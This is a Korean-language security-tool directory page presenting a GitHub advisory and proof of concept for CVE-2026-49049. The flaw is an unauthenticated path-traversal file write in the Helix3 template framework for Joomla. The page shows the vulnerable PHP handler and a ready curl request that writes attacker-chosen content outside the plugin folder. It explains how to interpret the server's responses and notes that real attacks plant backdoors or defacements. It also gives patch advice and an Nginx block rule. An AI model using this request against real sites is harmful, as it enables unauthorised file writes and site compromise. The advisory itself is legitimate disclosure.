Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49049 — CVE-2026-49049에 대한 기술 분석 및 개념 증명(PoC), Joomla용 JoomShaper Helix3의 인증되지 않은 임의 파일 쓰기 취약점, 악용 벡터 및 완화 지침 포함. | Kitploit
도구/GitHubGitHub/dr-d25/cve-2026-49049
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubdr-d25/cve-2026-49049

CVE-2026-49049

CVE-2026-49049에 대한 기술 분석 및 개념 증명(PoC), Joomla용 JoomShaper Helix3의 인증되지 않은 임의 파일 쓰기 취약점, 악용 벡터 및 완화 지침 포함.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-49049 취약점 분석: JoomShaper Helix3 (Joomla)의 인증되지 않은 임의 파일 쓰기

이 저장소는 CVE-2026-49049 심각도 취약점에 대한 자료, 기술 분석 및 PoC(Proof of Concept)를 포함하고 있습니다. 이 취약점은 Joomla CMS용 JoomShaper의 구형 템플릿 프레임워크 Helix3(버전 1.0 ~ 3.1.0)에서 발견되었습니다.

이 취약점은 현재 자동화된 봇넷(특히 AntonKill 디페이스 캠페인)에 의해 실제 환경에서 적극적으로 악용되고 있습니다.


🔬 취약점 기술 분석

문제는 Joomla의 시스템 AJAX 핸들러(com_ajax)가 plg_ajax_helix3 플러그인의 onAjaxHelix3() 메서드를 호출하는 데 있습니다. 구성 요소 개발자는 다음을 고려하지 않았습니다:

  1. 사용자 인증 확인 누락 (인증 우회)
  2. CSRF 토큰 확인 누락
  3. layoutName 매개변수 처리 시 경로 필터링 누락 (경로 탐색 검증)

취약한 PHP 코드 로직:

root@kitploit:~
public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 PoC (Proof of Concept)

취약점 검증을 위해 application/x-www-form-urlencoded 콘텐츠 유형의 POST 요청이 사용됩니다. 이 매개변수 패킹 방식은 취약점을 시연하는 데 가장 효과적입니다.

공격 벡터 (cURL 명령):

root@kitploit:~
curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

전송 데이터 상세 분석:


🎯 서버 응답 분석 (검증 신호)

침투 테스트 중 서버는 다양한 유형의 응답을 반환할 수 있습니다. 이를 해석하는 것이 매우 중요합니다:

경우 A: 취약점 성공 (파일 기록됨)

서버 응답:

root@kitploit:~
{"success":true,"message":null,"messages":null,"data":[]}

해석: 플러그인이 취약하며 OS 제한이 없습니다. 파일이 사이트 루트에 성공적으로 생성되었으며 https://target.com에서 접근 가능합니다. 사이트는 즉시 정리 및 격리가 필요합니다.

경우 B: 플러그인은 취약하지만 OS 보호 기능 작동

서버 응답:

root@kitploit:~
{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

해석: 부분적 성공. Helix3 플러그인의 로직이 손상되었습니다. 인증 없이 데이터를 수락하고 (fopen) 파일을 쓰기 위해 열려고 시도했습니다. 그러나 Linux 운영 체제가 이 작업을 차단했습니다. 웹 서버 사용자(예: www-data)가 사이트 루트에 대한 쓰기 권한이 없기 때문입니다.

경우 C: 시스템이 보호됨 (업데이트 또는 제거)

서버 응답: 404 Not Found, 403 Forbidden 상태 또는 빈 응답 []. 해석: 플러그인이 인증 확인이 추가된 안전한 버전(3.1.1+)으로 업데이트되었거나 CMS에서 완전히 제거되었습니다.


🛡 위험 완화 및 제거

  1. 업데이트/제거: Helix3를 3.1.1 이상 버전으로 업데이트하세요. 프레임워크를 사용하지 않는 경우 Joomla 관리자 패널을 통해 plg_ajax_helix3 플러그인을 완전히 제거하세요.
  2. WAF (Nginx) 수준 보호: 악성 POST 요청을 차단하는 규칙을 추가하세요:
    root@kitploit:~
    if ($request_method = POST) { set $test "P"; }
    if ($arg_plugin = "helix3") { set $test "${test}H"; }
    if ($test = PH) { return 403; }
    

면책 조항: 이 자료는 오직 교육 목적과 합법적인 시스템 보안 감사(침투 테스트)를 위해 제공됩니다. 저자는 제공된 정보의 부적절한 사용에 대해 책임을 지지 않습니다.

도구 다운로드
매개변수값 / 예시서버에 대한 의미
optioncom_ajaxAJAX 요청 처리를 위한 Joomla 진입점.
pluginhelix3Joomla가 취약한 Helix3 플러그인에 제어를 전달하도록 하는 시스템 식별자.
formatjson엔진에게 JSON 형식으로 응답을 반환하도록 지시합니다.
-ddata[...]요청 본문(Form Data)으로, PHP에 의해 자동으로 $_POST 전역 배열로 해석됩니다.
data[action]save코드의 switch 스위치. 플러그인에게 파일 쓰기(생성) 기능을 호출하도록 지시합니다.
data[layoutName]../../../../../../../example핵심 공격 벡터 (경로 탐색). ../ 문자는 운영 체제가 플러그인의 격리된 폴더를 벗어나 사이트의 루트 디렉터리로 이동하도록 합니다. 플러그인이 자동으로 .json 확장자를 추가합니다.
data[content]{"probe":"test"}페이로드(Payload). 생성된 example.json 파일 내부에 물리적으로 기록되는 텍스트 데이터입니다. 실제 공격에서는 디페이스 악성 코드나 백도어가 여기에 삽입됩니다.